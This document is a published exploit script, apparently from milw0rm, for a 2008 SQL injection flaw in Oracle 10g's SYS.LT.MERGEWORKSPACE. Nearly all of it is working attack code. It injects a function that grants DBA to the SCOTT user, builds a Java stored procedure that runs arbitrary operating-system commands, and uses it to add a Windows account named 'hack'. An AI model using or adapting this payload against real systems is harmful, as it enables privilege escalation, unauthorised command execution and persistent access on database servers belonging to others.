/*********************************************************/
/*Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit**/
/****grant DBA and create new OS user (java)*************/
/*********************************************************/
/***********exploit grant DBA to scott********************/
/***********and execute OS command "net user"*************/
/***********using java procedures ************************/
/*********************************************************/
/***********tested on oracle 10.1.0.5.0*******************/
/*********************************************************/
/*********************************************************/
/* Date of Public EXPLOIT: January 6, 2009 */
/* Written by: Alexandr "Sh2kerr" Polyakov */
/* email: [email protected] */
/* site: http://www.dsecrg.ru */
/* http://www.dsec.ru */
/*********************************************************/
/*Original Advisory: */
/*Esteban Martinez Fayo [Team SHATTER ] */
/*Date of Public Advisory: November 11, 2008 */
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
/*********************************************************/
select * from user_role_privs;
CREATE OR REPLACE FUNCTION Y return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN 'Y';
END;
/
exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');
exec SYS.LT.MERGEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');
/* Creating simple java procedure that executes OS */
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};
/
CREATE OR REPLACE PROCEDURE JAVAEXEC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/
/* here we can paste any OS command for example create new user */
exec javaexec(‘net user hack 12345 /add’);
select * from user_role_privs;
// milw0rm.com [2009-01-06]